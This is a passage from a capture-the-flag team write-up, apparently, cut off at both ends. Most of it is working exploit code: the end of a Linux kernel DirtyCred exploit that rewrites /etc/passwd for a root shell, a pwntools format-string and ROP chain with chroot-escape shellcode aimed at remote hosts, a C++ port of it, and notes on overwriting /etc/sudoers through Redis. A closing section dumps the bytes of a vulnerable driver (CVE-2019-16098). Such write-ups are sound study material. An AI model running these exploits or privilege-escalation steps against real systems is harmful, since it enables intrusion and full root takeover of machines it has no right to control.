int spray_fds_2[NUM_SPRAY_FDS];
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
spray_fds_2[i] = open("/tmp/a", O_RDWR);
lseek(spray_fds_2[i], 0x8, SEEK_SET);
}
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 0x8) {
freed_fd = spray_fds[i];
lseek(freed_fd, 0x0, SEEK_SET);
printf("[+] Found freed fd: %d\n", freed_fd);
break;
}
}
if (freed_fd == -1)
fatal("Failed to find FD");
puts("[+] DirtyCred via mmap");
char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0);
close(freed_fd);
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
close(spray_fds_2[i]);
}
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
spray_fds[i] = open("/etc/passwd", O_RDONLY);
}
strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n");
puts("[+] Finished! Open root shell...");
puts("=======================");
system("su");
return 0;
}
```
### Full Chain - Wall Sina
We coded an exploit in python,
that use the main address leaved by the challenge author as an helper, to do a ret2main by abusing the _dl_fini process,
then we replace return address by gets() function and send a payload with a shellcode, that is executed to escape the jail
```python=
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.update(arch="amd64", os="linux")
context.log_level = 'info'
exe = ELF("sina_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
# shortcuts
def logbase(): print("libc base = %#x" % libc.address)
def logleak(name, val): print(name+" = %#x" % val)
def sa(delim,data): return p.sendafter(delim,data)
def sla(delim,line): return p.sendlineafter(delim,line)
def sl(line): return p.sendline(line)
def rcu(d1, d2=0):
p.recvuntil(d1, drop=True)
# return data between d1 and d2
if (d2):
return p.recvuntil(d2,drop=True)
host, port = "206.189.113.236", "30674"
limit=0
if args.DOCKER:
p = remote("127.0.0.1", 30000)
limit=2
else:
p = remote("34.80.100.212", 30000)
# at some points they add pow to their server, so resolve it
p.recvuntil("compute '", drop=True)
q= process(p.recvuntil("'", drop=True), shell=True)
q.recvuntil('hashcash token: ', drop=True)
hash = q.recvuntil('\n', drop=True)
p.sendline(hash)
q.close()
limit=1
while True:
if args.DOCKER:
sla('$ ', './sina')
# sla('$ ', 'strace -ivt -xx -s 64 -o log1 ./sina') # some tracing always usefull sometimes, need to copy strace static binary in initramfs
else:
sla('$ ', './sina')
# use _dl_fini link_map trick to return to main and leak addresses for libc,main, stack
payload1 = '%8c%32$hhn.%1$p..%3$p..%13$p.'
sla('\r\n', payload1.ljust(0x3f,' '))
exe.address = int(rcu('.0x', '.'),16)-0x4040
logleak('prog base', exe.address)
libc.address = int(rcu('.', '.'),16)-0xfda22
logbase()
stack = int(rcu('.', '.'),16) - 0x110
logleak('stack', stack)
# we wait the libc ASLR lower 32bits are small , to no receive gigabytes of data back
if (((libc.address>>24) & 0xff)>limit):
p.sendline('%p')
else:
break
# set stack address for overwriting return address, and do a second ret2main
low1 = ((exe.address+0x1159)-0x11b8)&0xffff
low2 = ((stack-0x100) & 0xffff)
if (low1<low2):
sla('\r\n', '%'+str(low1)+'c%10$hn%'+str(low2-low1)+'c%35$hnXY%p')
else:
sla('\r\n', '%'+str(low2)+'c%35$hn%'+str(low1-low2)+'c%10$hnXY%p')
p.recvuntil('XY0x' , drop=True)
# replace return address by gets() function, we will send the next payload via gets
low3 = (libc.sym['gets']) & 0xffffffff
print('low3 = '+hex(low3))
payload1 = '%'+str(low3)+'c%75$nPIPO%p'
context.log_level = 'info'
p.sendline(payload1.ljust(0x3f,' '))
p.recvuntil('PIPO0x' , drop=True)
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]
add_eax_3 = libc.address + 0x00000000000c93c1 # add eax, 3 ; ret
gadget_ret = libc.address+0x000000000002d4b6 # ret
print('pop_rdi breakpoint = '+hex(pop_rdi))
if args.DOCKER:
pause()
payload = b''
payload += p64(gadget_ret)*(0x4e0>>3)
stack2 = stack-0x168
# put shellcode at end of ROP, map stack rwx, and execute the shellcode to exit chroot
offset = 33
# map stack rwx and jump to shellcode (with a nopsled for security)
payload += p64(pop_rdi)+p64(stack2 & 0xfffffffffffff000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx)+p64(7)+p64(pop_rax)+p64(7)+p64(add_eax_3)+p64(syscall)+p64(stack2+(17*8))
payload += b'\x90'*128+asm("".join([shellcraft.mkdir("lol", 0o755), shellcraft.chroot("lol"), shellcraft.chroot("../../../../../../../../../../../../../../../.."), shellcraft.sh()]))
# escape 0x7f for remote payload, because of qemu or strace...
payloadc = b''
for c in payload:
payloadc += b'\x16'+c
p.sendline(payloadc)
p.interactive()
```
later we rewrite this payload in C++
### Full Chain - The Umi
First, let's spend 80 minutes rewriting teammate's Sina exploit to C++ to make it run *on* the remote instance so it's faster:
```cpp=
#include <fcntl.h>
#include <pty.h>
#include <signal.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>
#include <cstdarg>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <string>
#include <string_view>
#include <vector>
#define CHECK(x) \
if (!(x)) { \
perror("."); \
abort(); \
}
namespace {
constexpr uint64_t kGetsOffset = 0x00000000000796f0;
const uint8_t kEscapeChrootShellcode[] = {
0x48, 0xb8, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x50, 0x48,
0xb8, 0x64, 0x73, 0x2e, 0x60, 0x60, 0x60, 0x01, 0x01, 0x48, 0x31, 0x04,
0x24, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x50,
0x48, 0x89, 0xe7, 0x31, 0xf6, 0x66, 0xbe, 0xed, 0x01, 0x6a, 0x53, 0x58,
0x0f, 0x05, 0x68, 0x64, 0x73, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73,
0x50, 0x48, 0x89, 0xe7, 0x6a, 0x50, 0x58, 0x0f, 0x05, 0x48, 0xb8, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x50, 0x48, 0xb8, 0x64, 0x73,
0x2e, 0x60, 0x60, 0x60, 0x01, 0x01, 0x48, 0x31, 0x04, 0x24, 0x48, 0xb8,
0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x50, 0x48, 0x89, 0xe7,
0x31, 0xc0, 0xb0, 0xa1, 0x0f, 0x05, 0x6a, 0x01, 0xfe, 0x0c, 0x24, 0x48,
0xb8, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x50, 0x48, 0xb8,
0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x50, 0x48, 0xb8, 0x2e,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x50, 0x48, 0xb8, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x50, 0x48, 0xb8, 0x2f, 0x2e, 0x2e,
0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x50, 0x48, 0xb8, 0x2e, 0x2e, 0x2f, 0x2e,
0x2e, 0x2f, 0x2e, 0x2e, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xc0, 0xb0, 0xa1,
0x0f, 0x05, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01, 0x01, 0x81,
0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58,
0x0f, 0x05};
class Process {
Process(pid_t pid, int stdinfd, int stdoutfd)
: child_pid_(pid), stdinfd_(stdinfd), stdoutfd_(stdoutfd) {}
public:
static Process Launch(const std::string& path) {
struct termios termios;
int p2c[2];
int c2p[2];
// cfmakeraw(&termios);
// CHECK(openpty(&p2c[1], &p2c[0], NULL, &termios, NULL) == 0);
// CHECK(openpty(&c2p[0], &c2p[1], NULL, &termios, NULL) == 0);
CHECK(pipe(p2c) == 0);
CHECK(pipe(c2p) == 0);
pid_t pid = fork();
CHECK(pid >= 0);
if (pid == 0) {
const char* argv[] = {path.c_str(), nullptr};
dup2(p2c[0], STDIN_FILENO);
dup2(c2p[1], STDOUT_FILENO);
close(p2c[0]);
close(p2c[1]);
close(c2p[0]);
close(c2p[1]);
CHECK(execve(path.c_str(), const_cast<char**>(argv), nullptr) == 0);
abort();
}
close(p2c[0]);
close(c2p[1]);
return Process(pid, p2c[1], c2p[0]);
}
~Process() {
if (stdinfd_ != -1) close(stdinfd_);
if (stdoutfd_ != -1) close(stdoutfd_);
if (child_pid_ != -1) {
CHECK(kill(child_pid_, SIGKILL) == 0);
int status;
CHECK(waitpid(child_pid_, &status, 0) == child_pid_);
}
}
// Move only.
Process(Process&& other)
: stdinfd_(other.stdinfd_),
stdoutfd_(other.stdoutfd_),
child_pid_(other.child_pid_) {
other.stdinfd_ = -1;
other.stdoutfd_ = -1;
other.child_pid_ = -1;
}
Process& operator=(Process&& other) {
stdinfd_ = other.stdinfd_;
stdoutfd_ = other.stdoutfd_;
child_pid_ = other.child_pid_;
other.stdinfd_ = -1;
other.stdoutfd_ = -1;
other.child_pid_ = -1;
return *this;
}
Process(const Process&) = delete;
Process& operator=(const Process&) = delete;
void Send(const void* data, size_t size) {
size_t sent = 0;
while (sent < size) {
ssize_t ret =
write(stdinfd_, static_cast<const char*>(data) + sent, size - sent);
CHECK(ret >= 0);
sent += ret;
}
}
void Send(std::string_view data) { Send(data.data(), data.size()); }
void SendLine(std::string_view data) { Send(std::string(data) + "\n"); }
void SendLine(const void* data, size_t size) {
// wrivev but it may not behave like write pepega
void* buf = malloc(size+1);
memcpy(buf, data, size);
static_cast<char*>(buf)[size] = '\n';
Send(buf, size+1);
free(buf);
}
void RecvN(void* data, size_t size) {
size_t received = 0;
while (received < size) {
ssize_t ret =
read(stdoutfd_, static_cast<char*>(data) + received, size - received);
CHECK(ret >= 0);
received += ret;
}
}
std::string RecvN(size_t n) {
std::string ret(n, '\0');
RecvN(&ret[0], n);
return ret;
}
std::string RecvUntil(std::string_view delim, bool drop = false) {
std::string ret;
size_t cnt = 0;
while (true) {
char c;
RecvN(&c, 1);
ret.push_back(c);
if (ret.size() >= delim.size() &&
ret.substr(ret.size() - delim.size()) == delim) {
if (drop) {
ret.resize(ret.size() - delim.size());
}
return ret;
}
cnt++;
if (cnt % 0x10000 == 0) {
printf("[=] RecvUntil received %zu bytes, still waiting for delim\n", cnt);
}
}
}
void Skip(size_t n) {
while (n > 0) {
char buf[4096];
ssize_t ret = read(stdoutfd_, buf, std::min(n, sizeof(buf)));
CHECK(ret >= 0);
n -= ret;
}
}
std::string RecvLine(bool drop = false) { return RecvUntil("\n", drop); }
std::string SendLineAfter(std::string_view delim, std::string_view data) {
auto ret = RecvUntil(delim);
SendLine(data);
return ret;
}
std::string SendAfter(std::string_view delim, std::string_view data) {
auto ret = RecvUntil(delim);
Send(data);
return ret;
}
std::string RecvBetweenNext(std::string_view delim1,
std::string_view delim2) {
RecvUntil(delim1);
return RecvUntil(delim2, /*drop=*/true);
}
int stdinfd_ = -1, stdoutfd_ = -1;
pid_t child_pid_ = -1;
};
std::string Ljust(std::string_view s, size_t n) {
if (s.size() >= n) {
return std::string(s);
}
return std::string(s) + std::string(n - s.size(), ' ');
}
struct Sina {
Process p;
uint64_t exe_base;
uint64_t libc_base;
uint64_t stack;
};
Sina LaunchUntilLibcAddressGood() {
while (true) {
Process p = Process::Launch("/home/user/sina");
p.SendLine(Ljust("%8c%32$hhn.%1$p..%3$p..%13$p.%4096c", 0x3f));
uint64_t exe_base =
std::stoul(p.RecvBetweenNext(".0x", "."), nullptr, 16) - 0x4040;
uint64_t libc_base =
std::stoul(p.RecvBetweenNext(".", "."), nullptr, 16) - 0xfda22;
uint64_t stack =
std::stoul(p.RecvBetweenNext(".", "."), nullptr, 16) - 0x110;
putchar('.');
fflush(stdout);
if (((libc_base >> 24) & 0xFF) == 0) {
puts("OK");
return {
.p = std::move(p),
.exe_base = exe_base,
.libc_base = libc_base,
.stack = stack,
};
}
}
}
std::string Format(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
char buf[4096];
vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
return buf;
}
} // namespace
int main(int argc, char* argv[]) {
Sina sina = LaunchUntilLibcAddressGood();
auto& p = sina.p;
printf("exe_base = 0x%lx\n", sina.exe_base);
printf("libc_base = 0x%lx\n", sina.libc_base);
printf("stack = 0x%lx\n", sina.stack);
auto low1 = ((sina.exe_base + 0x1159) - 0x11b8) & 0xffff;
auto low2 = ((sina.stack - 0x100) & 0xffff);
if (low1 < low2) {
// no absl::StrCat pepega
p.SendLine(Format("%%%dc", low1) + "%10$hn" + Format("%%%dc", low2 - low1) +
"%35$hnXY%p%4096c");
} else {
p.SendLine(Format("%%%dc", low2) + "%35$hn" + Format("%%%dc", low1 - low2) +
"%10$hnXY%p%4096c");
}
p.RecvUntil("XY0x");
auto low3 = (sina.libc_base + kGetsOffset) & 0xffffffff;
printf("low3 = 0x%lx\n", low3);
p.SendLine(Ljust(Format("%%%dc", low3) + "%75$nPIPO%p%4096c", 0x3f));
printf("[=] Waiting for PIPO0x...\n");
p.Skip(low3);
printf("[+] Skipped %zu bytes\n", low3);
p.RecvUntil("PIPO0x");
auto pop_rdi = sina.libc_base + 187090;
auto pop_rdx = sina.libc_base + 1049282;
auto pop_rsi = sina.libc_base + 193217;
auto pop_rax = sina.libc_base + 281328;
auto syscall = sina.libc_base + 558406;
auto add_eax_3 = sina.libc_base + 0x00000000000c93c1;
auto gadget_ret = sina.libc_base + 0x000000000002d4b6;
std::vector<uint64_t> payload(0x4e0>>3, gadget_ret);
auto stack2 = sina.stack - 0x100;
payload.push_back(pop_rdi); payload.push_back(0);
payload.push_back(pop_rsi); payload.push_back(stack2);
payload.push_back(pop_rdx); payload.push_back(0x400);
payload.push_back(pop_rax); payload.push_back(0); // read
payload.push_back(syscall);
for (int i = 0; i < 16; i++) payload.push_back(gadget_ret);
for (size_t i = 0; i < payload.size() * 8; i++) {
if (reinterpret_cast<uint8_t*>(payload.data())[i] == '\n') {
printf("[-] Unlucky, newline in payload, try again\n");
return 1;
}
}
p.SendLine(payload.data(), payload.size() * 8);
// Wait a while to make sure stdio won't cache (and eat) our stage 2.
printf("[=] Stage 1 sent, waiting 1 seconds...\n");
sleep(1);
payload.clear();
payload.push_back(pop_rdi); payload.push_back(sina.exe_base + 0x4000);
payload.push_back(pop_rsi); payload.push_back(0x1000);
payload.push_back(pop_rdx); payload.push_back(7);
payload.push_back(pop_rax); payload.push_back(0xa); // mprotect
payload.push_back(syscall);
payload.push_back(pop_rdi); payload.push_back(0);
payload.push_back(pop_rsi); payload.push_back(sina.exe_base + 0x4000);
payload.push_back(pop_rdx); payload.push_back(0x200);
payload.push_back(pop_rax); payload.push_back(0); // read
payload.push_back(syscall);
payload.push_back(sina.exe_base + 0x4000);
p.SendLine(payload.data(), payload.size() * 8);
printf("[=] Stage 2 sent\n");
sleep(1);
static_assert(sizeof(kEscapeChrootShellcode) <= 0x200, "shellcode too big");
p.SendLine(kEscapeChrootShellcode, sizeof(kEscapeChrootShellcode));
printf("[=] Shellcode sent\n");
sleep(1);
puts("[+] Meow?");
p.SendLine("echo meow");
p.RecvUntil("meow\n");
puts("[+] Shell! (hopefully)");
// p.interactive()
// Forward all data from p.stdinfd_ to stdin, and p.stdoutfd_ to stdout. Using
// select to poll which is ready.
fd_set readfds;
while (true) {
FD_ZERO(&readfds);
FD_SET(STDIN_FILENO, &readfds);
FD_SET(p.stdoutfd_, &readfds);
CHECK(select(std::max(STDIN_FILENO, p.stdoutfd_) + 1, &readfds, nullptr,
nullptr, nullptr) >= 0);
if (FD_ISSET(STDIN_FILENO, &readfds)) {
char buf[4096];
ssize_t ret = read(STDIN_FILENO, buf, sizeof(buf));
CHECK(ret >= 0);
if (ret == 0) {
break;
}
p.Send(buf, ret);
}
if (FD_ISSET(p.stdoutfd_, &readfds)) {
char buf[4096];
ssize_t ret = read(p.stdoutfd_, buf, sizeof(buf));
CHECK(ret >= 0);
if (ret == 0) {
break;
}
write(STDOUT_FILENO, buf, ret);
}
}
int status;
waitpid(p.child_pid_, &status, 0);
puts("[=] Cleaning up...");
return 0;
}
```
After that we chained the exploit with our `rose` and `maria` exploit, launching blade shellcode.
We then probed the environment and found that `/home/user/run.sh` is writable and is executed by xinetd on connection. We then replaced it with a shell script which checks the token and launches `bash -i`, this turns the Umi to a very nice nc to shell service, enabled multiple teammates to work on it without launching previous exploits repeatedly.
After poking around we found that we somehow can set Redis dbfilename (which should not be working on 7.0.8), this gives fully controlled file write as Redis user (by abusing dbfilename and SLAVEOF), and... Redis is running as root!
We then simply overwrite /etc/sudoers to make all users sudoers without password and enjoyed the root shell in container.
## reverse
### CrazyArcade
An CVE-2019-16098 exists in the `CrazyArcade.sys`.
The `CrazyArcade.exe` uses CVE-2019-16098 to perform arbitrary memory read/write.
We reversed the function `CrazyArcade.exe!sub_1400030A0` to get the flag.
```
#!/usr/bin/python3
# copy from CrazyArcade.sys+0x1450
kern_1450 = [0x48, 0x89, 0x54, 0x24, 0x10, 0x53, 0x57, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8B, 0xFA, 0x33, 0xDB, 0x89, 0x5F, 0x30, 0x48, 0x89, 0x5F, 0x38, 0x48, 0x8B, 0x87, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x57, 0x18, 0x8B, 0x50, 0x10, 0x44, 0x8B, 0x48, 0x08, 0x80, 0x38, 0x0E, 0x0F, 0x85, 0x3B, 0x05, 0x00, 0x00, 0x8B, 0x40, 0x18, 0x05, 0x00, 0xE0, 0xFF, 0x7F, 0x83, 0xF8, 0x54, 0x0F, 0x87, 0x23, 0x05, 0x00, 0x00, 0x4C, 0x8D, 0x05, 0x86, 0x05, 0x00, 0x00, 0x49, 0x0F, 0xB6, 0x04, 0x00, 0x4C, 0x8D, 0x05, 0x2E, 0x05, 0x00, 0x00, 0x49, 0x63, 0x04, 0x80, 0x4C, 0x8D, 0x05, 0x05, 0x00, 0x00, 0x00, 0x49, 0x03, 0xC0, 0xFF, 0xE0, 0x83, 0xFA, 0x30, 0x75, 0x5F, 0x49, 0x8B, 0x4A, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x4A, 0x41, 0x8B, 0x42, 0x18, 0x83, 0xE8, 0x01, 0x74, 0x25, 0x83, 0xE8, 0x01, 0x74, 0x12, 0x83, 0xE8, 0x02, 0x75, 0x27, 0x41, 0x8B, 0x42, 0x14, 0x8B, 0x04, 0x08, 0x41, 0x89, 0x42, 0x1C, 0xEB, 0x1A, 0x41, 0x8B, 0x42, 0x14, 0x0F, 0xB7, 0x04, 0x08, 0x41, 0x89, 0x42, 0x1C, 0xEB, 0x0C, 0x41, 0x8B, 0x42, 0x14, 0x0F, 0xB6, 0x04, 0x08, 0x41, 0x89, 0x42, 0x1C, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x30, 0x00, 0x00, 0x00, 0xE9, 0xAF, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xA3, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x97, 0x04, 0x00, 0x00, 0x83, 0xFA, 0x30, 0x75, 0x5F, 0x49, 0x8B, 0x52, 0x08, 0x48, 0x85, 0xD2, 0x74, 0x4A, 0x41, 0x8B, 0x42, 0x18, 0x83, 0xE8, 0x01, 0x74, 0x26, 0x83, 0xE8, 0x01, 0x74, 0x12, 0x83, 0xE8, 0x02, 0x75, 0x27, 0x41, 0x8B, 0x4A, 0x14, 0x41, 0x8B, 0x42, 0x1C, 0x89, 0x04, 0x11, 0xEB, 0x1A, 0x41, 0x8B, 0x4A, 0x14, 0x66, 0x41, 0x8B, 0x42, 0x1C, 0x66, 0x89, 0x04, 0x11, 0xEB, 0x0B, 0x41, 0x8B, 0x4A, 0x14, 0x41, 0x8A, 0x42, 0x1C, 0x88, 0x04, 0x11, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x30, 0x00, 0x00, 0x00, 0xE9, 0x3F, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x33, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x27, 0x04, 0x00, 0x00, 0x83, 0xFA, 0x30, 0x75, 0x28, 0x49, 0x8B, 0xCA, 0xE8, 0xFD, 0xFD, 0xFF, 0xFF, 0x89, 0x47, 0x30, 0x85, 0xC0, 0x7C, 0x0D, 0x48, 0xC7, 0x47, 0x38, 0x30, 0x00, 0x00, 0x00, 0xE9, 0x06, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0xFA, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xEE, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x30, 0x75, 0x27, 0x49, 0x8B, 0x4A, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x12, 0x41, 0x8B, 0x52, 0x10, 0xFF, 0x15, 0x71, 0x0A, 0x00, 0x00, 0x89, 0x5F, 0x30, 0xE9, 0xCE, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xC2, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xB6, 0x03, 0x00, 0x00, 0x44, 0x8B, 0xC2, 0x49, 0x8B, 0xD2, 0xE8, 0x0E, 0xFB, 0xFF, 0xFF, 0x89, 0x47, 0x30, 0x85, 0xC0, 0x7C, 0x0E, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x96, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x8A, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x72, 0x1B, 0x49, 0x8B, 0x12, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, 0x05, 0x0A, 0x00, 0x00, 0x89, 0x47, 0x30, 0xE9, 0x6A, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x01, 0x00, 0x00, 0xC0, 0xE9, 0x5E, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1D, 0x66, 0x41, 0x8B, 0x12, 0xEC, 0x0F, 0xBE, 0xC0, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x3C, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x30, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1E, 0x66, 0x41, 0x8B, 0x12, 0x66, 0xED, 0x0F, 0xB7, 0xC0, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x0D, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x01, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1A, 0x66, 0x41, 0x8B, 0x12, 0xED, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0xE2, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xD6, 0x02, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x36, 0x41, 0x8B, 0x52, 0x04, 0x41, 0x8B, 0x0A, 0xE8, 0x28, 0xFD, 0xFF, 0xFF, 0x84, 0xC0, 0x75, 0x0C, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xB5, 0x02, 0x00, 0x00, 0x66, 0x41, 0x8B, 0x12, 0x41, 0x8A, 0x42, 0x04, 0xEE, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x9B, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x8F, 0x02, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x38, 0x41, 0x8B, 0x52, 0x04, 0x41, 0x8B, 0x0A, 0xE8, 0xE1, 0xFC, 0xFF, 0xFF, 0x84, 0xC0, 0x75, 0x0C, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x6E, 0x02, 0x00, 0x00, 0x66, 0x41, 0x8B, 0x12, 0x66, 0x41, 0x8B, 0x42, 0x04, 0x66, 0xEF, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x52, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x46, 0x02, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x36, 0x41, 0x8B, 0x52, 0x04, 0x41, 0x8B, 0x0A, 0xE8, 0x98, 0xFC, 0xFF, 0xFF, 0x84, 0xC0, 0x75, 0x0C, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x25, 0x02, 0x00, 0x00, 0x66, 0x41, 0x8B, 0x12, 0x41, 0x8B, 0x42, 0x04, 0xEF, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x0B, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xFF, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1C, 0x41, 0xC7, 0x02, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0x48, 0x89, 0x47, 0x38, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xD2, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x35, 0x41, 0x8B, 0x02, 0x8B, 0x0D, 0x5B, 0x18, 0x00, 0x00, 0x3D, 0x00, 0x00, 0x00, 0x80, 0x0F, 0x45, 0xC8, 0x89, 0x0D, 0x4D, 0x18, 0x00, 0x00, 0x41, 0x03, 0x4A, 0x04, 0x89, 0x0D, 0x43, 0x18, 0x00, 0x00, 0x41, 0x89, 0x0A, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x98, 0x01, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x0C, 0x75, 0x44, 0x41, 0x8B, 0x0A, 0x0F, 0x32, 0x8B, 0xCA, 0x48, 0xC1, 0xE1, 0x20, 0x48, 0x0B, 0xC8, 0x48, 0x89, 0x4C, 0x24, 0x30, 0x48, 0xC1, 0xE9, 0x20, 0x41, 0x89, 0x4A, 0x04, 0x8B, 0x44, 0x24, 0x30, 0x41, 0x89, 0x42, 0x08, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x0C, 0x00, 0x00, 0x00, 0xE9, 0x54, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x43, 0x01, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x37, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x0C, 0x75, 0x3C, 0x41, 0x8B, 0x42, 0x04, 0x48, 0xC1, 0xE0, 0x20, 0x41, 0x8B, 0x4A, 0x08, 0x48, 0x0B, 0xC1, 0x48, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0x41, 0x8B, 0x0A, 0x0F, 0x30, 0x89, 